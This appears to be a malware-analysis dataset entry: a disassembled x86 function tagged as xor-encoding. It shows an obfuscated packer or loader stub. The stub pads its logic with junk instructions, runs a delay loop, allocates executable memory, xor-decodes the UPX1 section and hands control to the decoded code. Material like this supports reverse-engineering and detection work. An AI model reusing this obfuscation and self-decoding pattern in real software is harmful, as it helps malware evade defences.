Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4d22219d
mov eax, edi
mov edi, 0xa0176b7b
popal
mov edi, 0xefefa29
not edi
mov edx, 0
mov ecx, esi
sub eax, ebx
sub eax, ebx
mov edi, ecx
or ebx, ebx
sub eax, ebx
mov esi, edi
and ebx, ebx
sub eax, 0xf57d701e
inc edx
sub ebx, 0x9c3ce76e
sub ebx, eax
or eax, ebx
cmp edx, 0x100ba7c
jne 0x47afd2
or eax, ebx
sub eax, ebx
cmp edx, 0x100ba7c
je 0x47b012
mov eax, 0
mov cl, byte [eax]
or eax, eax
add eax, eax
mov ebx, 0xeae4d1c2
sub edi, 1
add eax, edi
mov edi, eax
mov ebx, 0x47ada2
sub eax, 0x1abcb134
inc ecx
mov esi, 0x47af96
dec eax
mov edx, 0x2515698b
not edx
mov edi, dword [ebx]
add ecx, ecx
add edx, eax
sub edx, ecx
and edi, 0xff
add edx, 0x1fa345c2
inc eax
sub ecx, 0x9162da79
xor dword [esi], edi
mov ecx, 0xaf685bde
add eax, 0xf927ac30
mov eax, ecx
inc esi
add ecx, 0x2851acbc
add edx, edx
not eax
inc ebx
not ecx
add ecx, ecx
inc edx
cmp esi, entry0
jl 0x47b03e
sub eax, 0x69100440
dec ecx
dec ecx
not edx
sub ebx, 0x7f69b33
or edi, ebx
mov esi, 0x47af9a
dec edx
not ebx
mov esi, dword [esi]
or edi, edx
dec edx
mov esi, dword [esi]
add edx, 0x6f310020
add edx, 0xe5631dcb
push esi
add edi, 0x3e4aac0f
or edx, edx
and edi, edi
mov esi, 0x47af96
add ebx, ebx
not ebx
mov esi, dword [esi]
sub ecx, 0x7b1421eb
sub ebx, 0xfa09a48f
mov esi, dword [esi]
mov edi, edx
sub edi, ecx
sub esp, 4
mov dword [esp], 0x47af9e
and edi, edi
inc ecx
call esi
sub ebx, edi
sub ecx, edi
add edi, ecx
pop esi
sub edi, 0x9cae329c
add edi, 0xb02e4bfe
push 0x47afab
and ecx, ebx
or ecx, edx
push eax
not edi
add ecx, 1
sub edi, ebx
call esi
or ecx, ecx
dec ecx
sub esp, 4
mov dword [esp], 0x40
add ecx, 0xf3aa68e7
mov ebx, 0xf810513a
push 0x3000
mov edx, ecx
and ebx, edi
push 0x20000dcc
not ebx
mov ecx, 0xfee5ca05
and ecx, edx
push 0
add ecx, ebx
sub edx, ebx
call eax
add ebx, ebx
and ecx, ecx
add eax, 0x20000d5d
add ebx, 0xf03e1bf7
add edx, ebx
sub ecx, 0xd139bc53
mov esi, 0x5960f6ca
add edx, edx
sub ecx, 1
mov dword [eax], esi
and edx, ebx
add edi, ebx
mov esi, dword [eax]
mov edi, 0x6e33537f
add edi, 0x84c7ee4b
cmp esi, 0x5960f6ca
je 0x47b193
mov eax, 0
mov edx, dword [eax]
sub edx, edi
inc edi
add edx, edi
mov edi, 0x876dc024
add edx, 1
or eax, edi
dec edi
mov eax, 0x9a1ba7ba
mov esi, section.UPX1
add eax, eax
dec eax
add eax, eax
mov edx, 0x47ada1
add eax, 0x128493c8
inc eax
mov ebx, 0
not edi
and eax, eax
and edi, eax
mov ecx, 0x47ada2
mov edi, eax
add eax, 0x14d701c5
lea ecx, [ebx + ecx]
mov eax, 0x84a4353e
and eax, edi
mov ecx, dword [ecx]
sub eax, edi
mov edi, 0x1519323f
mov edi, 0x4f6637ff
and ecx, 0xff
not eax
not edi
mov eax, edi
add ebx, 1
dec edi
add edi, eax
cmp ebx, 0x1f4
jne 0x47b213
mov ebx, 0
mov edi, eax
and eax, eax
add eax, 0x23e751b0
and eax, edi
not edi
xor dword [esi], ecx
not edi
or edi, edi
add esi, 2
add eax, edi
sub eax, 0xeaeaafe4
not edi
cmp esi, edx
jl 0x47b1cc
inc eax
inc eax
sub edi, 1
mov edi, 0x7c45af1
dec eax
add eax, edi
mov esi, section.UPX1
add eax, 0xc52ae388
or eax, eax
or eax, eax
mov ecx, section.UPX1
mov eax, ebx
add ebx, 0xd9dc86d2
mov ebx, 0xb2cef4ac
mov edi, 0x47ada1
mov eax, ebx
and eax, ebx
or eax, ebx
mov edx, 0
mov ebx, 0xbb7329f9
sub ebx, eax
and ebx, ebx
mov dl, byte [ecx]
mov eax, ebx
dec eax
inc eax
mov byte [esi], dl
and ebx, eax
mov eax, 0xd3283dc1
add esi, 1
mov eax, ebx
mov ebx, eax
add ecx, 2
and eax, eax
sub eax, 1
inc ebx
cmp ecx, edi
jle 0x47b289
add ebx, 0x22d611b4
mov eax, ebx
inc eax
not eax
or edi, edi
sub esp, 4
mov dword [esp], 0x45e6a0
mov eax, edi
and edi, eax
sub edi, eax
ret